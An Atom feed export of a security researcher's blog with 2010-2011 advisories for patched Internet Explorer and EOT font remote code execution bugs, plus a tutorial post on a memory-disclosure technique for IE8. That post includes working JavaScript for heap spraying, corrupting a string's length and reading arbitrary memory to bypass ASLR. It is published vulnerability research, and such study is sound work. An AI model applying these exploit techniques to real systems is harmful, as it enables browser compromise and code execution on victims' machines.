<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2001595886969899899</id><updated>2012-02-01T09:05:09.272-08:00</updated><title type='text'>Ivan Fratric's Security Blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-7006047166116846680</id><published>2011-10-12T15:30:00.000-07:00</published><updated>2011-10-12T15:36:32.085-07:00</updated><title type='text'>Internet Explorer Select Element Remote Code Execution</title><content type='html'>&lt;div&gt;&lt;b&gt;&lt;i&gt;Overview&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There is a vulnerability in Internet Explorer which enables execution of arbitrary code if the user visits a web page controlled by the attacker. The vulnerability is caused by incorrectly validating integer parameter passed to the '&lt;span class="Apple-style-span" &gt;add&lt;/span&gt;' method of the Select HTML element. This vulnerability has been observed in Internet Explorer 8. The vulnerability has been patched by Microsoft on October 11, 2011.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;The bug&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The bug is caused by incorrectly validating integer parameter passed to the '&lt;span class="Apple-style-span" &gt;add&lt;/span&gt;&lt;span class="Apple-style-span" &gt;' &lt;/span&gt;method of the Select HTML element under certain conditions. The '&lt;span class="Apple-style-span" &gt;add&lt;/span&gt;&lt;span class="Apple-style-span" &gt;' &lt;/span&gt;method of the Select HTML element is used to add an Option to the Select element. It accepts two parameters:&lt;/div&gt;&lt;div&gt;1. An Option object to be added&lt;/div&gt;&lt;div&gt;2. An integer, specifying the index of the new Option element&lt;/div&gt;&lt;div&gt;Under certain conditions, the second parameter is not properly validated, which can lead to corrupting memory at arbitrary address and, in turn, code execution.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;Impact&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The vulnerability can be used to execute arbitrary code in the context of the currently logged in user if the user visits a specially crafted web page. JavaScript needs to be enabled in order for the attacker to be able to exploit the vulnerability (it is enabled by default in all versions of Internet Explorer).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;PoC&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A PoC exploit that demonstrates reliable code execution on Internet Explorer 8 on Windows 7 SP1 has been developed. The release of the exploit code is planned on a later date, once everyone has had plenty of time to patch.&lt;/div&gt;&lt;div&gt;However, the description of the method that was used to bypass ASLR and otherwise enable reliable code execution can be found &lt;a href="http://ifsec.blogspot.com/2011/06/memory-disclosure-technique-for.html"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;b&gt;References&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://technet.microsoft.com/en-us/security/bulletin/ms11-081"&gt;http://technet.microsoft.com/en-us/security/bulletin/ms11-081&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1999"&gt;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1999&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.zerodayinitiative.com/advisories/published/"&gt;http://www.zerodayinitiative.com/advisories/published/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-7006047166116846680?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/7006047166116846680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=7006047166116846680' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/7006047166116846680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/7006047166116846680'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2011/10/internet-explorer-select-element-remote.html' title='Internet Explorer Select Element Remote Code Execution'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-2269751386012267126</id><published>2011-10-12T15:24:00.000-07:00</published><updated>2011-10-12T15:28:43.673-07:00</updated><title type='text'>Internet Explorer Option Element Remote Code Execution</title><content type='html'>&lt;span style="font-style:italic;"&gt;&lt;b&gt;Overview&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There is a vulnerability in Internet Explorer which enables execution of arbitrary code if the user visits a web page controlled by the attacker. The vulnerability is caused by an use-after-free bug triggered by accessing a previously deleted Option element. This vulnerability has been observed in Internet Explorer versions 6, 7 and 8. The vulnerability has been patched by Microsoft on October 11, 2011.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;The bug&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;In Internet Explorer, the implementation of Select HTML element contains an array of pointers to the Option elements the Select element contains. This array is called the Option cache. Normally, whenever an Option element inside a Select element is accessed via JavaScript, Option cache is rebuilt, thus ensuring its consistency. However, there are some JavaScript methods that can be used to delete and modify the Option elements contained inside the Select element without rebuilding the Option cache. In combination, these methods enable modifying a previously deleted Option element.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;Impact&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability can be used to execute arbitrary code in the context of the currently logged in user if the user visits a specially crafted web page. JavaScript needs to be enabled in order for the attacker to be able to exploit the vulnerability (it's enabled by default in all versions of Internet Explorer).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;PoC&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;An PoC exploit that demonstrates code execution has been developed. However, due to the severity of the vulnerability, release of the exploit code is not planned at this time.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;References&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://technet.microsoft.com/en-us/security/bulletin/ms11-081"&gt;http://technet.microsoft.com/en-us/security/bulletin/ms11-081&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1996"&gt;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1996&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.zerodayinitiative.com/advisories/published/"&gt;http://www.zerodayinitiative.com/advisories/published/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-2269751386012267126?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/2269751386012267126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=2269751386012267126' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/2269751386012267126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/2269751386012267126'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' title='Internet Explorer Option Element Remote Code Execution'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-6521810446247102870</id><published>2011-06-09T09:24:00.000-07:00</published><updated>2011-06-10T01:22:07.989-07:00</updated><title type='text'>Memory disclosure technique for Internet Explorer</title><content type='html'>&lt;div&gt;&lt;div&gt;Memory disclosure became an important part of exploit development in the light of various protection mechanisms. The ability to read memory holds multiple benefits for exploit developers. The most obvious one is, of course, the ability to circumvent ASLR - if we can read the content of the memory, we can determine the address of an module, for example by reading a vtable pointer of some object and subtracting a (constant) offset. However, memory disclosure brings additional benefits as well. For example, many exploits rely on a speciffic (predictable) memory layout. If we can read memory, we do not have to make any guesses regarding the memory layout. Thus, memory disclosure can also be used to improve the reliability of exploits and enable the exploit development in conditions where the memory layout is unpredictable.&lt;/div&gt;&lt;div&gt;One technique for memory desclosure was used by Peter Vreugdenhil in the Pwn2Own 2010 contest (&lt;a href="http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf"&gt;http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf&lt;/a&gt;). This technique consists of overwtiting a terminator of a string, which enables reading the memory immediately after the end of the string. This was enough to defeat ASLR, however, in general, it has a disadvantage that it can only read the memory up to the next null-character (that will be interpreted as the new string terminator). Additionally, there is no way to read past the end of currnet memory block (except if the next memory block begins immediately after the current block, with no unreadable memory in between).&lt;/div&gt;&lt;div&gt;The technique I propose here enables reading a much wider area of memory and also reading memory in other memory blocks, with unreadeable memory in between them. The technique itself is very simple, however, since I never saw anyone using or describing it, I decided to describe it here. I successfully used this technique in various exploits for Internet Explorer, most recently in an exploit for a vulnerability in Internet Explorer 8 on Windows 7.&lt;/div&gt;&lt;div&gt;The main idea of this technique is to overwrite the DWORD holding the length of a JavaScript string.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;b&gt;Background: JavaScript strings&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;JavaScript strings in Internet Explorer are stored in memory in the following form:&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;[string length in bytes][sequence of 16-bit characters]&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;So, for example, the string 'aaaa' will be stored as (hex):&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;08 00 00 00 61 00 61 00 61 00 61 00&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;If we overwrite the DWORD holding the string length, we can peek at the memory past the end of the string. &lt;/div&gt;&lt;div&gt;Assume we successfullty overwrote the length of string 'str'. By calling for example &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;mem = str.substr(offset/2,size/2);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;we can obtain (in a string 'mem' of size 'size') the content of memory at address [address of str] + offset.&lt;/div&gt;&lt;div&gt;We can read any memory address provided that the offset+size is less than the new string length. Thus, the address we can read up to is only limited by the value we can overwrte string length with.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;b&gt;How to overwrite sting length?&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The method we can use to overwrite string length will depend heavily on the vulnerablity we are exploiting. Here, I'll go through some of the most common vulnerability classes and show how they can be used to overwrite the length of a string.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;1. Heap overflow: This is probably the simplest one. Allocate a string after the buffer you can overwrite. By overwriting the memory past the buffer, you'll also overwrite string length.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;2. Double free: This consists of several steps: a) Free some object in memory, b) allocate a string in its place (make sure it has the same initial size as the deleted object), c) free the object again. Here we are exploiting the way how malloc and free work in windows: after a block is freed, its first DWORD will hold an address of the next free memory block of the same size or, if no such block exists, it will point back to the heap header. In both cases, the string lenght is overwritten with a large value.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;3. Use-after-free: See if this vulnerability can be used to make double free. If it can, see point no. 2. If not, see if any property of the deleted object can be changed. If yes, try to allocate strings in memory so that the length of some string gets aligned with this property of the deleted object. Then change said property. Another way is to try to leverage the vulnerability into arbitrary memory address overwrite and see case no. 6.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;4. Stack overflow: This is a difficult one, as JavaScript strings are allocated on the heap and not stack. However, note that stack overflow does not mean you absolutely have to overwrite the return address of the current function. Sometimes it is possible to overwrtite some address stored on the stack in between the buffer and the return address of the curent function and in this way leverage the the vulnerability into arbitrary memory address overwrite. If you can accomplish this, see case no. 6.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;5. Integer overflow: This vulnerability class can be made to behave as either a) heap overflow (integer calculations are used to calculate the size of the buffer, in this case see case no. 1) or b) Arbitrary memory address overwrite (integer calculations are used to calculate the address of the buffer, in this case see case no. 6)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;6. Arbitrary memory address overwrite: Many of the previous vulnerability classes (and many others, such as loop condition bugs) can be leveraged into arbitrary memory address overwrite. This case will be discussed in detail (with example code) in the next section.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;b&gt;Overwriting string length with arbitrary memory address overwrite&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Suppose we have a JavaScript method OverwriteOffset(offset) that exploits some vulnerability to overwrite a memory at the address [address of some object]+offset with a large number. If we had a method OverwriteAbsolute(address) that overwrites the address 'address' with a large number, the analysis would be similar. However, since, in general, the first case is more difficult (as we don't know the absolute addresses) it will be discussed here.&lt;/div&gt;&lt;div&gt;The task in question is to use OverwriteOffset(offset) to overwrite the length of some string. However lets allso suppose that we don't know (and can't guess) the address (nor the offset) of any string.&lt;/div&gt;&lt;div&gt;In order to make things more predictable we will use heap spraying. So, suppose we made a heap spray that is stored in an array 'spray'. Each element of the array is a string with approximately 1MB size. Each such string will be allocated in a separate memory block of size 0x100000. We can use the following code to accomplish this.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;spray = new Array(200);&lt;br /&gt;var pattern = unescape("%uAAAA%uAAAA");&lt;br /&gt;while(pattern.length&amp;lt;(0x100000/2)) pattern+=pattern;&lt;br /&gt;pattern = pattern.substr(0,0x100000/2-0x100);&lt;br /&gt;for(var i=0;i&amp;lt;200;i++) {&lt;br /&gt;   spray[i] = [inttostr(i)+pattern].join("");&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;The inttostr function used above converts an integer into four-byte string. This way, each string will contain its index in the first two characters. We'll come back to why I did this later.&lt;/div&gt;&lt;div&gt;With a heap spray as above we'll have a large probability that offset+0x100000*100 will fall somewhere in the spray. We don't know exactly where this address falls in our heap spray, however once we do the overwrite we can easily determine that as follows:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;1. Overwrite a memory location somewhere in the sprayed part of the memory&lt;/div&gt;&lt;div&gt;2. Find out which sting we overwrote by comparing each string with its neighbor&lt;/div&gt;&lt;div&gt;3. Find out which characters in the string we overwrote by comparing string parts with what they originally contained. Use binary search and substr methods to speed up the process.&lt;/div&gt;&lt;div&gt;4. We can now calculate the offset of the string length. Overwrite the string length.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In JavaScript code, this would look like&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;var i;&lt;br /&gt; &lt;br /&gt;//overwrite something in the heap spray&lt;br /&gt;OverwriteOffset(0x100000*100);&lt;br /&gt; &lt;br /&gt;//now find what and where exectly did we overwrite&lt;br /&gt;readindex = -1;&lt;br /&gt;for(i=1;i&amp;lt;200;i++) {&lt;br /&gt;   if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2)) {&lt;br /&gt;      readindex = i;&lt;br /&gt;      break;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;if(readindex == -1) {&lt;br /&gt;   alert("Error overwriring first spray");&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;//use binary search to find out the index of the character we overwrote&lt;br /&gt;var start=2,len=spray[readindex].length-2,mid;&lt;br /&gt;while(len&amp;gt;10) {&lt;br /&gt;   mid = Math.round(len/2);&lt;br /&gt;   mid = mid - mid%2;&lt;br /&gt;   if(spray[readindex].substr(start,mid) != spray[readindex-1].substr(start,mid)) {&lt;br /&gt;      len = mid;&lt;br /&gt;   } else {&lt;br /&gt;      start = start+mid;&lt;br /&gt;      len = len-mid;&lt;br /&gt;   }&lt;br /&gt;} &lt;br /&gt;for(i=start;i&amp;lt;(start+20);i=i+2) {&lt;br /&gt;   if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {&lt;br /&gt;      break;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;//calculate the offset of the string length in memory&lt;br /&gt;lengthoffset = 0x100000*100-i/2-1;&lt;br /&gt;OverwriteOffset(lengthoffset);&lt;br /&gt; &lt;br /&gt;//check if overwrite was successful&lt;br /&gt;if(spray[readindex].length == spray[0].length) alert("error overwriting string length");&lt;br /&gt; &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;That's it, we can now read memory past the end of the string. For example, we could use the following function to read a DWORD at address [address of string]+offset&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;function ReadMem(offset) {&lt;br /&gt;   return strtoint(spray[readindex].substr(offset/2,2));&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;However, we would also like to determine the absolute address of the string, so instead of ofsets, we can provide absolute adresses to our ReadMem function. This will be discussed in the next section.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;b&gt;Determining the absolute address of the string&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To determine the absolute address of the string we'll exploit the fact that each string in our heap spray is allocated in a separate memory block. We also know the size of such memory blocks (0x100000) and can assume that the next memory block comes immediately after the current one in memory.&lt;/div&gt;&lt;div&gt;Each memory block starts with a header. This header, among other things contains the address of the previous and the next memory block. So, memory block looks like:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;[address of the next memory block][address of the previous memory block][24 bytes of some other header data][data]&lt;br /&gt; &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;So if we assume that the strings are placed in blocks in the following order&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;[block containing string 1][block containing string 2][block containing string 3] ...&lt;br /&gt; &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;we can determine the absolute address of the string in the following way, by reading the previous block pointer of the block that immediately follows the one that holds the ovrwritten string&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;readaddr = ReadMem(0x100000-0x20)+0x24;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This technique relies on the correct order of memory blocks. This order will usually be correct if the exploit is launched in a 'clean' Internte Explorer process (for example, if the exploit is opened in a new browser tab or window). However, in general, this does not have to be the case, so the memory could look like, for example&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;[block containing string 5][block containing string 7][block containing string 1] ...&lt;br /&gt; &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;However, although the order of blocks in memory may appear scrambled, the next block pointer of block containing string n will still point to the block containing string n+1. Similarly, the previous block pointer of block containing string n will still point to the block containing string n-1. Now remember that we made our heap spray so that each string contains its index in the first two characters. We can exploit this information to determine the correct absolute string address as follows:&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;var indexarray = new Array();&lt;br /&gt;var tmpaddr = 0;&lt;br /&gt;var i,index;&lt;br /&gt; &lt;br /&gt;index = ReadMem(tmpaddr);&lt;br /&gt;indexarray.push(index);&lt;br /&gt; &lt;br /&gt;while(1) {&lt;br /&gt;   tmpaddr += 0x100000;&lt;br /&gt;   index = readmem(tmpaddr);&lt;br /&gt;   for(i=0;i&amp;lt;indexarray.length;i++) {&lt;br /&gt;      if(indexarray[i]==index+1) {&lt;br /&gt;         readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;&lt;br /&gt;         return 1;&lt;br /&gt;      } else if(indexarray[i]==index-1) {&lt;br /&gt;         readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;&lt;br /&gt;         return 1;    &lt;br /&gt;      }&lt;br /&gt;   }&lt;br /&gt;   indexarray.push(index);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;Finally, we can construct a function ReadMemAbsolute that reads content of a memory at absolute address as &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;function ReadMemAbsolute(address) {&lt;br /&gt;   return ReadMem(readaddr-address);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;Helper string/integer conversion functions used throughout the code are given below.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;function strtoint(str) {&lt;br /&gt;   return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;function inttostr(num) {&lt;br /&gt;   return String.fromCharCode(num%65536,Math.floor(num/65536));&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-6521810446247102870?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/6521810446247102870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=6521810446247102870' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/6521810446247102870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/6521810446247102870'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2011/06/memory-disclosure-technique-for.html' title='Memory disclosure technique for Internet Explorer'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-6930584828890149366</id><published>2010-10-13T03:29:00.000-07:00</published><updated>2010-10-13T03:35:02.596-07:00</updated><title type='text'>Embedded Open Type (EOT) fonts remote code execution</title><content type='html'>There is a vulnerability in Microsoft Windows caused by incorrect processing of malformed Embedded Open Type (EOT) fonts. This vulnerability can be used to achieve remote code execution if a user views a web page containing a reference to a specially crafted font file.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;EOT fonts&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;From Microsoft: Embedded OpenType (EOT) fonts are a compact form of fonts designed for use on Web pages. These fonts can be embedded in a document. This ensures that a user views the document exactly as the author intended.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Background&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Eot format is basically a compressed true type font (TTF) file. The TTF file itself can be viewed as a collection of tables. The compression process first transforms some font tables into a different format, divides the file into chunks and than uses a variant of LZ compression to compress each chunk separately. Such obtained compressed data is added to the EOT header to form a .eot file.The decompression process first analyzes the eot header, splits the font data into chunks, 